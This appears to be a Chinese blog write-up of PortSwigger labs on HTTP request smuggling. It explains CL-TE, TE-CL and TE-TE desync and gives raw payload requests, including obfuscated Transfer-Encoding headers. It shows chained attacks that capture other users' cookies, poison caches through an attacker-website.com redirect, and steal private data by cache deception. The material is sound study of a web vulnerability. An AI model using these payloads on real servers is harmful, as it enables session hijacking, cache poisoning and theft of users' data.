Smuggle
简介
来源于2019的BlackHat的议题"HTTP Desync Attacks Smashing Into The Cell Next Door",直译过来就是"HTTP不同步攻击"。
产生原因
由于不同服务器对于RFC标准的实现都不完全相同,这样就会导致同一个HTTP请求,不同服务器的处理之后会出现不同的结果。
HTTP/1.1为了解决HTTP/1.0的非持久连接(一个连接一个请求一个响应连接断开)导致资源消耗,完善了Keep-Alive
和Pipeline
两个特性。
-
Keep-Alive 头部新增
Connection: Keep-Alive
,让服务器响应之后不要关闭当前的连接,这样就可以做到http连接重用,减少资源开销。1.0中默认不开启,1.1中默认开启。 -
Pipeline 在http连接复用的基础上,增加了管道化的技术
Pipeline
,可以在复用的连接中,同时发送多个请求,不用遵循请求1-响应1-请求2-响应2
的限制,达到请求1-请求2-响应1-响应2
的效果。但是现在的浏览器都不支持Pipeline
,原因有两个:容易出bug
、不规范代理使得问题更加复杂
。这个问题在http2.0上用多路复用解决了。
在现在的网络环境中,存在大量的CDN加速服务用来缓解服务器的压力,还会提供了缓存功能,一般来说代理服务器会和后端建立长连接,对RFC标准的实现也可能不同,这样的话,如果发起一个异常的HTTP请求,代理服务器认为这是一个正常的HTTP请求,而后端认为其中已有一部分是正常的请求,导致剩下的内容就变成了走私请求。
正常情况
异常情况
关键的两个HTTP头Transfer-Encoding
、Content-Length
,其中Transfer-Encoding: chunked
是容易被利用的。
- chunked
格式:
chunk-size1(十六进制)
chunk1 + \r\n
chunk-size2
chunk2 + \r\n
...
0 + \r\n\r\n
chunked一般常见在响应,其实在请求中也可以使用chunked编码的。
案例
CL指代Content-Length
,TE指代Transfer-Encoding
。
当2个请求头并存的时候,根据[RFC2616]((https://tools.ietf.org/html/rfc2616#section-4.4)规定,要忽略掉Content-Length
。
主要是分为CL-TE
、TE-CL
、TE-TE
三种情况,都是Transfer-Encoding
、Content-Length
并存的情况。
- CL-TE
造成情况的主要原因就是前端(代理服务器)识别Content-Length
,后端识别的是Transfer-Encoding
。
Demo request:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 13
Transfer-Encoding: chunked
0
SMUGGLED
前端收到请求,识别Content-Length
,0+\r\n\r\n+SMUGGLED
长度为13,所以直接把整个请求转发到了后端。
后端收到请求,识别Transfer-Encoding
,0+\r\n\r\n
为一个chunked请求的结尾,SMUGGLED
被剩下,变成了两个请求处理。SMUGGLED
就会附加在之后的请求头最开始的部分。
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 13
Transfer-Encoding: chunked
0
SMUGGLED
Portswigger lab:https://portswigger.net/web-security/request-smuggling/lab-basic-cl-te
第一次请求被留下的G
,附加在了第二次发起的POST
请求的头部,构成了GPOST
。
- TE-CL
造成情况的主要原因就是前端(代理服务器)识别Transfer-Encoding
,后端识别的是Content-Length
。
Demo request:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 3
Transfer-Encoding: chunked
8
SMUGGLED
0
前端收到请求,识别Transfer-Encoding
,发现0+\r\n\r\n
,把整个请求转法到了后端。
后端收到请求,识别Content-Length
,把请求拆成了8+\r\n
和SMUGGLED+\r\n+0+\r\n\r\n
。
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 3
Transfer-Encoding: chunked
8
SMUGGLED
0
Portswigger lab:https://portswigger.net/web-security/request-smuggling/lab-basic-te-cl
后端收到请求之后,把请求分为2个部分。14+\r\n
和GPOST / HTTP/1.1+\r\n\r\n(http请求结尾)+\r\n(chunked结尾)+0+\r\n\r\n
。
POST / HTTP/1.1
Host: ac951f371fb80e438070664400fd0027.web-security-academy.net
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
14
GPOST / HTTP/1.1
0
- TE-TE
造成情况的主要原因就是前端(代理服务器)和后端都识别Transfer-Encoding
,但是Transfer-Encoding
存在混淆的情况导致前端或者后端无法识别成功,这样就转换成了CL-TE
或者TE-CL
。
常见混淆:
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding
: chunked
Portswigger lab:https://portswigger.net/web-security/request-smuggling/lab-ofuscating-te-header
前端识别第1个TE,后端识别第2个TE CL-TE TE-CL
One’s Storm
其它案例
在上面提到的案例主要是用来验证存在http smuggle
在portswigger的lab中还给出了一些真实场景的利用案例,并且提供练习
-
Using HTTP request smuggling to bypass front-end security controls 走私访问网站后台的请求,获取一些功能的信息,进而达到未授权后台操作,例如账户删除 CL-TE TE-CL
-
Revealing front-end request rewriting 一般从前端把请求转发到后端,都会在请求中加入一些特有的验证字段,防止攻击者直接绕过前端把请求发到后端,Portswigger提供了一个很简单的获取验证字段方法:
找一个能够将请求参数的值输出到响应中的POST请求
把该POST请求中,找到的这个特殊的参数放在消息的最后面
然后走私这一个请求,然后直接发送一个普通的请求,前端服务器对这个请求重写的一些字段就会显示出来。
结合上面的特征,搜索框就是个很好的例子 PortSwigger lab:request rewriting
POST / HTTP/1.1
Host: acd81f561f515caa80fb0502008100f0.web-security-academy.net
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 120
Transfer-Encoding: chunked
0
POST / HTTP/1.1
Content-Length: 100
Host: acd81f561f515caa80fb0502008100f0.web-security-academy.net
search=123
其中第2个POST请求的Content-Length
设置大一点,因为下一个请求会跟在search=123
的后面,后端会根据CL
的大小附加数据并且处理。
-
Capturing other users' requests 在
request rewriting
中,通过在可回显处附加了我们自己的后续请求,而拿到了验证字段,试想如果后续跟着的是其它用户的请求呢?请求里面可能包含session会话,可以执行session hijack攻击
,或者存在其它的敏感数据,可以通过在评论区、emails、简介说明等地方作为请求输出的媒介。 PortSwigger lab: capture other users requests 在这个实验中,文章的评论区就是可作为输出媒介。Smuggle
的时候,记得要把csrftoken
和cookie
带上,否则会失败。 还要接把评论内容的参数放在最后,这样才会把后续其它用户的请求显示出来。 这里输出的请求是我自己发出的,按道理应该是其它用户的请求,可能是环境的问题,之前在做的时候是获取到了其它用户的cookie
,这里就不深究了。Content-Lenght
的大小需要自己慢慢调整大小用来输出cookie
。 -
Using HTTP request smuggling to exploit reflected XSS 还可以在特定的场景下造成对其它用户反射XSS的情况,还有无需交互、可以利用HTTP头字段XSS的特点。 PortSwigger lab:reflected XSS 在文章的源代码中有
User-Agent
的头信息,可以用来XSS。 -
** turn an on-site redirect into an open redirect + perform web cache poisoning** 这里是一个组合利用,“开放重定向”+“web缓存投毒"来实现缓存投毒的攻击。
-
开放重定向 站点一般会根据请求中的Host作为重定向的地址,在后面在附加上路径,例如在Apache和IIS服务器,如果请求路径末尾缺少”/",就会发起一个重定向请求。
GET /home HTTP/1.1 Host: normal-website.com HTTP/1.1 301 Moved Permanently Location: https://normal-website.com/home/
这种看似无害的行为,如果使用smuggle
的话,就会变得很危险。例如重定向到外部域中。
```
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Transfer-Encoding: chunked
0
GET /home HTTP/1.1
Host: attacker-website.com
Foo: X
```
如果后面有其它客户的请求,将会返回被攻击者控制的内容。 ``` GET /home HTTP/1.1 Host: attacker-website.com Foo: XGET /scripts/include.js HTTP/1.1 Host: vulnerable-website.com
HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/
```
- web缓存投毒
如果前端设置了缓存内容,就可能被重定向后的响应内容投毒,这样其它用户访问被影响的地址话,就会被恶意攻击了。
POST / HTTP/1.1 Host: vulnerable-website.com Content-Length: 59 Transfer-Encoding: chunked 0 GET /home HTTP/1.1 Host: attacker-website.com Foo: XGET /static/include.js HTTP/1.1 Host: vulnerable-website.com
像上面这个smuggle
请求,到达后端处理时,会进行重定向到其它地址上的响应,之后前端对/static/include.js
缓存就是该重定向响应。
```
/static/include.js:
GET /static/include.js HTTP/1.1
Host: vulnerable-website.com
HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/
```
PortSwigger lab: open redirect+web cache poisoning
实验中提供了一个外部的服务用于构造重定向之后的恶意响应。
外部响应有了,接着就是寻找开放重定向了。一般在文章的尾部都会存在跳转到下一页的链接,这种地方就是一个很好的开放重定向的利用点。在外部站点中构造恶意响应。
寻找一个首页引用的js文件进行投毒。
实施投毒:
如果1次没有缓存成功,多尝试几次就会把/resources/js/tracking.js
的缓存修改为alert(1)
。
- Using HTTP request smuggling to perform web cache deception
缓存欺骗,实际上和缓存投毒使用的时相同的技术,只不过目的不同罢了。缓存投毒的目的主要是存储恶意内容,而缓存欺骗主要是为了获取其它用户的敏感信息。
通过
smuggle
敏感信息地址的请求,等待用户携带cookie
等校验数据发起其它不相关资源请求,随后把敏感信息的内容缓存在不相干的资源地址。 例如:POST / HTTP/1.1 Host: vulnerable-website.com Content-Length: 43 Transfer-Encoding: chunked 0 GET /private/messages HTTP/1.1 Foo: X
GET /private/messages HTTP/1.1 Foo: XGET /static/some-image.png HTTP/1.1 Host: vulnerable-website.com Cookie: sessionId=q1jn30m6mqa7nbwsa0bhmbr7ln2vmh7z ...
随后请求/static/some-image.png
就可以获取敏感信息了。
PortSwigger lab:web cache deception
该实验提供一个账户carlos/montoya
用来登陆。并且有一个查看Key
的接口。
正常请求会返回未验证。接着构造apiKey
的走私请求。缓存到resources/images/blog.svg
中。环境不给力,其它用户始终没有发请求,这里使用自己的账号模仿下受害者的请求。
真实案例
其它
1、针对着中攻击的一般出现的场景就在有前端缓存的情况下,前端缓存包括浏览器缓存、路由器缓存、dns缓存、cdn缓存等 2、以后碰到了案例要记录一下,努力自己夜整个。
(ง •_•)ง 2019-11-03 22:42:41 星期日